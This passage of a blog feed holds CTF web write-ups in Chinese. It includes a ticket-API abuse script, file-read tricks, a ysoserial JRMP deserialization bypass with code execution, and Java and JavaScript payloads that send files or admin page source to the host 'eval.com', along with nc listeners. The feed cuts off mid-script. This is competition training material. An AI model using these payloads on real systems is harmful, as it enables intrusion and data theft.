class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> random</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line">tmpID = <span class="string">&quot;1&quot;</span></span><br><span class="line"></span><br><span class="line">tmpSession = requests.session()</span><br><span class="line"></span><br><span class="line">registerURL = <span class="string">&quot;http://117.51.147.155:5050/ctf/api/register?name=5am3_t1&#123;name&#125;&amp;password=12345678aa90&quot;</span></span><br><span class="line">buyTicketURL = <span class="string">&quot;http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967296&quot;</span></span><br><span class="line">payTicketURL = <span class="string">&quot;http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id=&#123;bill&#125;&quot;</span></span><br><span class="line">removeRobotsURL = <span class="string">&quot;http://117.51.147.155:5050/ctf/api/remove_robot?id=&#123;uid&#125;&amp;ticket=&#123;ticket&#125;&quot;</span></span><br><span class="line"></span><br><span class="line">headers = &#123;</span><br><span class="line"><span class="string">&quot;Cookie&quot;</span>: <span class="string">&quot;REVEL_SESSION=367aac22fa4d096ee5e45e5e214071cf; user_name=5am3&quot;</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">getTicket</span>(<span class="params">tmpID</span>):</span><br><span class="line">tmpRegisterURL = registerURL.replace(<span class="string">&quot;&#123;name&#125;&quot;</span>,tmpID)</span><br><span class="line">tmpSession.get(tmpRegisterURL)</span><br><span class="line"></span><br><span class="line">billID = tmpSession.get(buyTicketURL).json()[<span class="string">&quot;data&quot;</span>][<span class="number">0</span>][<span class="string">&quot;bill_id&quot;</span>]</span><br><span class="line"></span><br><span class="line"><span class="comment"># print(billID)</span></span><br><span class="line"></span><br><span class="line">tmpPayTicketURL = payTicketURL.replace(<span class="string">&quot;&#123;bill&#125;&quot;</span>,billID)</span><br><span class="line"><span class="comment"># print(tmpPayTicketURL)</span></span><br><span class="line">ticketJson = tmpSession.get(tmpPayTicketURL).json()</span><br><span class="line"><span class="comment"># print(ticketJson)</span></span><br><span class="line">ticket,uid = ticketJson[<span class="string">&quot;data&quot;</span>][<span class="number">0</span>].values()</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> ticket,uid</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">i = <span class="number">1</span></span><br><span class="line">c = <span class="number">0</span></span><br><span class="line"><span class="keyword">while</span>(i&lt;<span class="number">3</span> <span class="keyword">and</span> c &lt; <span class="number">50</span>):</span><br><span class="line">name = <span class="built_in">str</span>(random.randint(<span class="number">1000</span>, <span class="number">90000</span>))</span><br><span class="line">c+=<span class="number">1</span></span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">ticket,uid = getTicket(name)</span><br><span class="line"><span class="comment"># print(ticket,uid)</span></span><br><span class="line"></span><br><span class="line">tmpRRURL = removeRobotsURL.replace(<span class="string">&quot;&#123;uid&#125;&quot;</span>,<span class="built_in">str</span>(uid)).replace(<span class="string">&quot;&#123;ticket&#125;&quot;</span>,ticket)</span><br><span class="line">RRjson = requests.get(tmpRRURL,headers=headers).json()</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(RRjson[<span class="string">&quot;data&quot;</span>]):</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;[&quot;</span>+<span class="built_in">str</span>(i)+<span class="string">&quot;] &quot;</span> + <span class="built_in">str</span>(RRjson[<span class="string">&quot;data&quot;</span>]))</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;&quot;</span>)</span><br><span class="line">i+=<span class="number">1</span></span><br><span class="line">time.sleep(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">except</span>:</span><br><span class="line"><span class="keyword">pass</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190419014934-53d3ce10-6202-1.png" alt="20190413155515676260248.png"></p><h3 id="260pt-mysql弱口令"><a href="#260pt-mysql弱口令" class="headerlink" title="[260pt] mysql弱口令"></a>[260pt] mysql弱口令</h3><p>挺有意思的一道题，最后算是非预期出的吧。预期解实在是想不出来了。</p><p>首先拿到题目，其实就感觉是杭电那题了 <a href="https://www.yuque.com/sourcecode/2019hgame/happygo">wp链接</a></p><p>通过蜜罐sql客户端，来获取连接者的数据。但这题，说实话前期把我玩蒙了。</p><p>题目逻辑，首先下载扫描验证端，放到服务器上，做一下信息收集。然后再服务端填写自己服务器信息，就可以开始弱口令扫描了。</p><p>天真的我以为端口是填agent的端口。酿成一大惨祸。最后才发现，端口是填数据库端口。这样一来，心结解开。终于能拿数据了。</p><p>拿数据的心路历程更加艰难险阻。首先肯定是先读&#x2F;etc&#x2F;passwd。进而直接尝试读&#x2F;flag，发现没有。</p><p>此时，自己意识到了事情的不简单。这是要和flag玩捉迷藏么。</p><p>这是很难受的一件事…</p><p>p.s.心酸历程就不说了。读文件肯定没这么顺利，要都说的话，1万字也收不住。</p><p>按照杭电那次学到的妙招，首先可以先读一下&#x2F;proc&#x2F;self&#x2F;environ,如下图。</p><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190419014935-54038c18-6202-1.png" alt="image.png"></p><p>此时可以发现两个点，第9行和11行，组合起来&#x2F;home&#x2F;dc2-user&#x2F;ctf_web_2&#x2F;restart.sh。此时读取发现如下信息</p><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190419014935-5412aa40-6202-1.png" alt="image.png"></p><p>从中，我们可以分析出来，该应用为flask应用，用gunicorn中间件起来的。</p><p>此时根据规则 gunicorn 文件名:项目名。可以推出：</p><blockquote><p>&#x2F;home&#x2F;dc2-user&#x2F;ctf_web_2&#x2F;didi_ctf_web2.py</p></blockquote><p>尝试读取，可以发现：</p><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190419014935-544327ec-6202-1.png" alt="image.png"></p><p>此时证实了我们的猜想。然后根据flask_script项目的目录结构，进而读取app。</p><p>然后一环接一环，依次读出了下面三个。</p><blockquote><p>&#x2F;home&#x2F;dc2-user&#x2F;ctf_web_2&#x2F;app&#x2F;<strong>init</strong>.py<br>&#x2F;home&#x2F;dc2-user&#x2F;ctf_web_2&#x2F;app&#x2F;main&#x2F;<strong>init</strong>.py<br>&#x2F;home&#x2F;dc2-user&#x2F;ctf_web_2&#x2F;app&#x2F;main&#x2F;views.py</p></blockquote><p>在main&#x2F;views.py中，我们可以看到一个hint。</p><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190419014935-545ac654-6202-1.png" alt="image.png"></p><p>猜测是通过curl可以从数据库中读到flag…</p><p>奈何自己比较菜，看到数据库遍想起来好像有个文件，是在手动修改数据库时，会留log。</p><p>对，没错，就是.mysql_history。此时尝试用户目录，root目录，最终在root目录读到flag</p><blockquote><p>&#x2F;root&#x2F;.mysql_history</p></blockquote><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190419014936-54b3473e-6202-1.png" alt="image.png"></p><h3 id="390pt-再来1杯Java"><a href="#390pt-再来1杯Java" class="headerlink" title="[390pt] 再来1杯Java"></a>[390pt] 再来1杯Java</h3><p>p.s.压轴题哈，说实话，这题真的学会了不少东西。毕竟自己太菜了，虽然本科专业为java开发狗。但我真的不太熟啊…</p><p>一共分为三关吧。</p><p>首先是一个PadOracle攻击，伪造cookie。这个解密Cookie可以看到hint： PadOracle:iv&#x2F;cbc。</p><p>第二关，读文件，看到后端代码后，才发现，这里贼坑。</p><p>第三关，反序列化。</p><p>首先第一关好说，其实在&#x2F;api&#x2F;account_info这个接口，就可以拿到返回的明文信息。然后通过Padding Oracle + cbc翻转来伪造cookie即可。在这里就不多说了。网上很多资料。</p><p>最后拿到cookie，直接浏览器写入cookie就OK。然后可以获取到一个下载文件的接口。</p><blockquote><p>&#x2F;api&#x2F;fileDownload?fileName&#x3D;1.txt</p></blockquote><p>虽然说是一个任意文件读取的接口，但是贼坑、</p><p>一顿操作猛如虎，最后只读出&#x2F;etc&#x2F;passwd…</p><p>搜到了<a href="https://github.com/tdifg/payloads/blob/master/lfi.txt">很多字典</a>。然后burp爆破一波，最后发现&#x2F;proc&#x2F;self&#x2F;fd&#x2F;15这里有东西，看到熟悉的pk头，情不自禁的笑了起来。（对，就是源码）</p><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190419014936-54f65eac-6202-1.png" alt="20190419155560741062781.png"></p><p>源码也不多，很容易，可以看到一个反序列化的接口。</p><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190419014936-5527d2de-6202-1.png" alt="20190418155560268113326.png"></p><p>在反序列化之前，还调用了SerialKiller，作为一个waf，对常见payload进行拦截。</p><p>首先题目给了hint：JRMP。根据这个hint，我们可以找到很多资料。在这里自己用的ysoserial，根据他的JRMP模块来进行下一步操作。</p><p>在这里，JRMP主要起了一个绕过waf的功能，因为这个waf只在反序列化userinfo时进行了调用。当通过JRMP来读取payload进行反序列化时，不会走waf。</p><p>首先，JRMP这个payload被waf掉了，我们可以采用先知上的一种绕过方式。</p><blockquote><p><a href="https://xz.aliyun.com/t/2479">https://xz.aliyun.com/t/2479</a></p></blockquote><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190419014937-5555b226-6202-1.png" alt="20190418155560308363179.png"></p><p>直接修改ysoserial源码即可，将原有的JRMPClient的payload复制一份，改名为JRMPClient2，然后保存并编译。</p><p>此时我们可以尝试使用URLDNS模块，来判断是否攻击成功。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 修改替换&#123;&#123;内容&#125;&#125;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 开启监听端口</span></span><br><span class="line"><span class="comment"># 建议采用ceye的dnslog查看</span></span><br><span class="line">java -<span class="built_in">cp</span> ./ysoserial-5am3.jar ysoserial.exploit.JRMPListener &#123;&#123;port&#125;&#125; URLDNS &#123;&#123;http://eval.com&#125;&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># 生成链接JRMPListener的payload</span></span><br><span class="line"><span class="comment"># ip端口那里填写运行第4行脚本的主机地址端口</span></span><br><span class="line">java -jar ./ysoserial-5am3.jar JRMPClient2 &#123;&#123;10.0.0.1:8119&#125;&#125; | <span class="built_in">base64</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 此时将第10行生成的代码，直接打到远程即可。</span></span><br></pre></td></tr></table></figure><p>然后查看dnslog信息。发现存在，那就是ok了。</p><p>接下来可以尝试换payload了。此时这里还存在一个问题。服务器端无法执行命令！！</p><p>这个是hint中给的，所以我们需要找另一种方式，如：代码执行。</p><p>查阅资料，发现ysoserial预留了这块的接口，修改即可。</p><blockquote><p><a href="https://blog.csdn.net/fnmsd/article/details/79534877">https://blog.csdn.net/fnmsd/article/details/79534877</a></p></blockquote><p>然后我们尝试去修改ysoserial&#x2F;payloads&#x2F;util&#x2F;Gadgets.java中createTemplatesImpl方法如下：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// createTemplatesImpl修改版，支持代码执行</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> &lt;T&gt; T <span class="title function_">createTemplatesImpl</span> <span class="params">( <span class="keyword">final</span> String command, Class&lt;T&gt; tplClass, Class&lt;?&gt; abstTranslet, Class&lt;?&gt; transFactory )</span></span><br><span class="line">            <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="keyword">final</span> <span class="type">T</span> <span class="variable">templates</span> <span class="operator">=</span> tplClass.newInstance();</span><br><span class="line"></span><br><span class="line">        <span class="comment">// use template gadget class</span></span><br><span class="line">        <span class="type">ClassPool</span> <span class="variable">pool</span> <span class="operator">=</span> ClassPool.getDefault();</span><br><span class="line">        pool.insertClassPath(<span class="keyword">new</span> <span class="title class_">ClassClassPath</span>(StubTransletPayload.class));</span><br><span class="line">        pool.insertClassPath(<span class="keyword">new</span> <span class="title class_">ClassClassPath</span>(abstTranslet));</span><br><span class="line">        <span class="keyword">final</span> <span class="type">CtClass</span> <span class="variable">clazz</span> <span class="operator">=</span> pool.get(StubTransletPayload.class.getName());</span><br><span class="line">        <span class="comment">// run command in static initializer</span></span><br><span class="line">        <span class="comment">// <span class="doctag">TODO:</span> could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections</span></span><br><span class="line"><span class="comment">//        String cmd = &quot;java.lang.Runtime.getRuntime().exec(\&quot;&quot; +</span></span><br><span class="line"><span class="comment">//            command.replaceAll(&quot;\\\\&quot;,&quot;\\\\\\\\&quot;).replaceAll(&quot;\&quot;&quot;, &quot;\\\&quot;&quot;) +</span></span><br><span class="line"><span class="comment">//            &quot;\&quot;);&quot;;</span></span><br><span class="line">        String cmd=<span class="string">&quot;&quot;</span>;</span><br><span class="line">        <span class="comment">//如果以code:开头，认为是代码，否则认为是命令</span></span><br><span class="line">        <span class="keyword">if</span>(!command.startsWith(<span class="string">&quot;code:&quot;</span>))&#123;</span><br><span class="line">            cmd = <span class="string">&quot;java.lang.Runtime.getRuntime().exec(\&quot;&quot;</span> +</span><br><span class="line">            command.replaceAll(<span class="string">&quot;\\\\&quot;</span>,<span class="string">&quot;\\\\\\\\&quot;</span>).replaceAll(<span class="string">&quot;\&quot;&quot;</span>, <span class="string">&quot;\\\&quot;&quot;</span>) +</span><br><span class="line">            <span class="string">&quot;\&quot;);&quot;</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">else</span>&#123;</span><br><span class="line">            System.err.println(<span class="string">&quot;Java Code Mode:&quot;</span>+command.substring(<span class="number">5</span>));<span class="comment">//使用stderr输出，防止影响payload的输出</span></span><br><span class="line">            cmd = command.substring(<span class="number">5</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        clazz.makeClassInitializer().insertAfter(cmd);</span><br><span class="line">        <span class="comment">// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)</span></span><br><span class="line">        clazz.setName(<span class="string">&quot;ysoserial.Pwner&quot;</span> + System.nanoTime());</span><br><span class="line">        <span class="type">CtClass</span> <span class="variable">superC</span> <span class="operator">=</span> pool.get(abstTranslet.getName());</span><br><span class="line">        clazz.setSuperclass(superC);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">final</span> <span class="type">byte</span>[] classBytes = clazz.toBytecode();</span><br><span class="line"></span><br><span class="line">        <span class="comment">// inject class bytes into instance</span></span><br><span class="line">        Reflections.setFieldValue(templates, <span class="string">&quot;_bytecodes&quot;</span>, <span class="keyword">new</span> <span class="title class_">byte</span>[][] &#123;</span><br><span class="line">            classBytes, ClassFiles.classAsBytes(Foo.class)</span><br><span class="line">        &#125;);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// required to make TemplatesImpl happy</span></span><br><span class="line">        Reflections.setFieldValue(templates, <span class="string">&quot;_name&quot;</span>, <span class="string">&quot;Pwnr&quot;</span>);</span><br><span class="line">        Reflections.setFieldValue(templates, <span class="string">&quot;_tfactory&quot;</span>, transFactory.newInstance());</span><br><span class="line">        <span class="keyword">return</span> templates;</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><p>此时，我们的payload已经可以支持代码执行了。</p><p>在这里，我是直接用本地的题目环境进行调试，尝试打印了aaa,操作如下。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 修改替换&#123;&#123;内容&#125;&#125;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 开启监听端口</span></span><br><span class="line"><span class="comment"># 建议采用ceye的dnslog查看</span></span><br><span class="line"><span class="comment"># 执行时合并为一行，为了好看，我换了下行</span></span><br><span class="line">java -<span class="built_in">cp</span> ysoserial-5am3.jar ysoserial.exploit.JRMPListener 8099 </span><br><span class="line">CommonsBeanutils1 <span class="string">&#x27;code:System.out.printld(&quot;aaa&quot;);&#x27;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># 生成链接JRMPListener的payload</span></span><br><span class="line"><span class="comment"># ip端口那里填写运行第4行脚本的主机地址端口</span></span><br><span class="line">java -jar ./ysoserial-5am3.jar JRMPClient2 &#123;&#123;10.0.0.1:8099&#125;&#125; | <span class="built_in">base64</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 此时将第10行生成的代码，直接打到远程即可。</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>然后进而写一下获取文件，以及获取目录的代码。此时拿到文件，无法回显。我们可以用Socket来将文件发送到我们的服务器，然后nc监听端口即可。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 以下代码使用时，记得压缩到一行。</span></span><br><span class="line"><span class="comment">// 获取目录下内容</span></span><br><span class="line">java.io.<span class="type">File</span> <span class="variable">file</span>  <span class="operator">=</span><span class="keyword">new</span> <span class="title class_">java</span>.io.File(<span class="string">&quot;/&quot;</span>);</span><br><span class="line">java.io.File[] fileLists = file.listFiles();</span><br><span class="line">java.net.<span class="type">Socket</span> <span class="variable">s</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">java</span>.net.Socket(<span class="string">&quot;eval.com&quot;</span>,<span class="number">8768</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; fileLists.length; i++) &#123;</span><br><span class="line">  java.io.<span class="type">OutputStream</span> <span class="variable">out</span> <span class="operator">=</span> s.getOutputStream();</span><br><span class="line">  out.write(fileLists[i].getName().getBytes());</span><br><span class="line">  out.write(<span class="string">&quot;\n&quot;</span>.getBytes());</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取文件内容</span></span><br><span class="line">java.io.<span class="type">File</span> <span class="variable">file</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">java</span>.io.File(<span class="string">&quot;/etc/passwd&quot;</span>);</span><br><span class="line">java.io.<span class="type">InputStream</span> <span class="variable">in</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line">in = <span class="keyword">new</span> <span class="title class_">java</span>.io.FileInputStream(file);</span><br><span class="line"><span class="type">int</span> tempbyte;</span><br><span class="line">java.net.<span class="type">Socket</span> <span class="variable">s</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">java</span>.net.Socket(<span class="string">&quot;eval.com&quot;</span>,<span class="number">8768</span>);</span><br><span class="line"><span class="keyword">while</span> ((tempbyte = in.read()) != -<span class="number">1</span>) &#123;</span><br><span class="line">  java.io.<span class="type">OutputStream</span> <span class="variable">out</span> <span class="operator">=</span> s.getOutputStream();</span><br><span class="line">  out.write(tempbyte);</span><br><span class="line">&#125;</span><br><span class="line">in.close();</span><br><span class="line">s.close();</span><br></pre></td></tr></table></figure><p>然后操作如下：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 修改替换&#123;&#123;内容&#125;&#125;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 开启监听端口</span></span><br><span class="line"><span class="comment"># 建议采用ceye的dnslog查看</span></span><br><span class="line"><span class="comment"># 执行时合并为一行，为了好看，我换了下行</span></span><br><span class="line">java -<span class="built_in">cp</span> ysoserial-5am3.jar ysoserial.exploit.JRMPListener 8099 </span><br><span class="line">CommonsBeanutils1 <span class="string">&#x27;code:&#123;&#123;javapayload&#125;&#125;&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 生成链接JRMPListener的payload</span></span><br><span class="line"><span class="comment"># ip端口那里填写运行第4行脚本的主机地址端口</span></span><br><span class="line">java -jar ./ysoserial-5am3.jar JRMPClient2 &#123;&#123;10.0.0.1:8099&#125;&#125; | <span class="built_in">base64</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 监听端口数据</span></span><br><span class="line">nc -lnvp 2333</span><br><span class="line"></span><br><span class="line"><span class="comment"># 此时将第10行生成的代码，直接打到远程即可。</span></span><br></pre></td></tr></table></figure><p>p.s. &#x2F;flag是个文件夹</p><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20190419014937-556bf6f8-6202-1.png" alt="20190419155560445133653.png"></p>]]></content>
    
    
    <summary type="html">&lt;blockquote&gt;
&lt;p&gt;本文首发先知社区，文章链接：&lt;a href=&quot;https://xz.aliyun.com/t/4862&quot;&gt;https://xz.aliyun.com/t/4862&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;最近打了打DDCTF，本来是无聊打算水一波。最后竟然做high了，硬肛了几天..&lt;br&gt;以下为本次比赛web题目的WriteUp:&lt;/p&gt;</summary>
    
    
    
    <category term="信息安全" scheme="https://blog.5am3.com/categories/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8/"/>
    
    <category term="writeup" scheme="https://blog.5am3.com/categories/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8/writeup/"/>
    
    
    <category term="writeup" scheme="https://blog.5am3.com/tags/writeup/"/>
    
    <category term="web" scheme="https://blog.5am3.com/tags/web/"/>
    
    <category term="misc" scheme="https://blog.5am3.com/tags/misc/"/>
    
  </entry>
  
  <entry>
    <title>2018HCTF-share</title>
    <link href="https://blog.5am3.com/2018/11/12/2018HCTF-share/"/>
    <id>https://blog.5am3.com/2018/11/12/2018HCTF-share/</id>
    <published>2018-11-12T23:53:00.000Z</published>
    <updated>2024-12-05T02:39:41.684Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>本文首发先知社区，文章链接：<a href="https://xz.aliyun.com/t/3258">https://xz.aliyun.com/t/3258</a></p></blockquote><p>这次比赛感觉比较有意思的一道题。2019 HCTF-share</p><span id="more"></span><blockquote><p><strong>描述</strong></p><p>I have built an app sharing platform, welcome to share your favorite apps for everyone</p><p>hint1:<a href="https://paste.ubuntu.com/p/VfJDq7Vtqf/">https://paste.ubuntu.com/p/VfJDq7Vtqf/</a> </p><p>Alpha_test code:<a href="https://paste.ubuntu.com/p/qYxWmZRndR/">https://paste.ubuntu.com/p/qYxWmZRndR/</a></p><p>hint2:</p><p><code>&lt;%= render template: &quot;home/&quot;+params[:page] %&gt;</code></p><p>in root_path</p><p>hint3: based ruby 2.5.0</p><p><strong>URL</strong></p><p><a href="http://share.2018.hctf.io/">http://share.2018.hctf.io</a></p><p><strong>基准分数</strong>  1000.00</p><p><strong>当前分数</strong>  965.54</p><p><strong>完成队伍数</strong>  1</p></blockquote><hr><p>开始做这道题，本来是因为疑似XSS，勾起了自己的兴趣。没想到越往后越坑。ruby真心没见过。最终耗时27小时，终于搞出来了，话说一血还是很开心的。</p><h2 id="解题"><a href="#解题" class="headerlink" title="解题"></a>解题</h2><p>首先分析一波整到题目，按照题目描述，这个网站是用来共享应用的。</p><p>首先用户可以向管理员反馈建议，让管理员将某应用加到网站上。</p><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20181112141244-f830b9b0-e641-1.png" alt="20181111154191320686524.png"></p><p>然后管理员页面会有上传应用到网站上，以及将某应用下发给某人进行测试。</p><p>主要页面如下：</p><blockquote><p>用户：</p><p>应用展示页：<a href="http://share.2018.hctf.io/home/publiclist">http://share.2018.hctf.io/home/publiclist</a></p><p>测试应用页：<a href="http://share.2018.hctf.io/home/Alphatest%EF%BC%88%E7%AE%A1%E7%90%86%E5%91%98%E6%9C%AA%E4%B8%8B%E5%8F%91%E5%BA%94%E7%94%A8%E6%97%B6%E4%B8%BA%E7%A9%BA%EF%BC%89">http://share.2018.hctf.io/home/Alphatest（管理员未下发应用时为空）</a></p><p>反馈建议页：<a href="http://share.2018.hctf.io/home/share">http://share.2018.hctf.io/home/share</a></p></blockquote><p>通过用户反馈页面，可以尝试插入xss。在这里用img进行测试:</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">//eval.com:2222</span>&gt;</span></span><br></pre></td></tr></table></figure><p>然后在eval.com进行监听。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nc -lnvp 2222</span><br></pre></td></tr></table></figure><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20181112141245-f870d6e4-e641-1.png" alt="20181111154191380138997.png"></p><p>成功收到回显，可以得知采用PhantomJS作为bot，然后尝试读取后台源码。</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">send</span>(<span class="params">e</span>) &#123;</span><br><span class="line">    <span class="keyword">var</span> t = <span class="keyword">new</span> <span class="title class_">XMLHttpRequest</span>;</span><br><span class="line">    t.<span class="title function_">open</span>(<span class="string">&quot;POST&quot;</span>, <span class="string">&quot;//eval.com:2017&quot;</span>, !<span class="number">0</span>),</span><br><span class="line">    t.<span class="title function_">setRequestHeader</span>(<span class="string">&quot;Content-type&quot;</span>, <span class="string">&quot;text/plain&quot;</span>),</span><br><span class="line">    t.<span class="property">onreadystatechange</span> = <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="number">4</span> == t.<span class="property">readyState</span> &amp;&amp; t.<span class="property">status</span></span><br><span class="line">    &#125;,</span><br><span class="line">    t.<span class="title function_">send</span>(e);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">getsource</span>(<span class="params">src</span>)&#123;</span><br><span class="line"><span class="keyword">var</span> t = <span class="keyword">new</span> <span class="title class_">XMLHttpRequest</span>;</span><br><span class="line">    t.<span class="title function_">open</span>(<span class="string">&quot;GET&quot;</span>, src, !<span class="number">0</span>),</span><br><span class="line">    t.<span class="title function_">setRequestHeader</span>(<span class="string">&quot;Content-type&quot;</span>, <span class="string">&quot;text/plain&quot;</span>),</span><br><span class="line">    t.<span class="property">onreadystatechange</span> = <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="number">4</span> == t.<span class="property">readyState</span> &amp;&amp; t.<span class="property">status</span></span><br><span class="line">    &#125;,</span><br><span class="line">    t.<span class="property">onload</span>=<span class="keyword">function</span>(<span class="params">e</span>)&#123;</span><br><span class="line">    <span class="title function_">send</span>(e.<span class="property">target</span>.<span 